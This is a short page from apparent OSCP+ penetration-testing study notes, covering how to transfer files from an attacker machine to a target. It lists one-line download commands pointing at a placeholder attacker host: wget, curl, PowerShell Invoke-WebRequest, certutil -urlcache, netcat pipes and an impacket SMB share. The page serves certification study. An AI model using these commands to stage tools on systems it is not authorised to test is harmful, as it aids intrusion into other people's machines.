OSCP+ Notes
  • 📙oscp+ notes
  • Reconnaissance
    • Discovery
      • DNS Hostname
      • Subdomain Discovery
      • Directory Discovery
    • Host Scan
      • Nmap
  • Enumeration
    • Services
      • FTP
      • SSH
  • Misc
    • SSH
    • RDP
    • File Transfer
    • Full Interactive Shell
    • Pivoting and Tunneling
Powered by GitBook
On this page
  • Linux
  • Windows
  • File transfer using Netcat
  • File transfer using SMB
  1. Misc

File Transfer

Linux

wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows

powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .

File transfer using Netcat

#Attacker
nc <target_ip> 1234 < nmap

#Target
nc -lvp 1234 > nmap

File transfer using SMB

# Kali
impacket-smbserver -smb2support <sharename> .

# Win
copy file \\KaliIP\sharename

PreviousRDPNextFull Interactive Shell

Last updated 7 months ago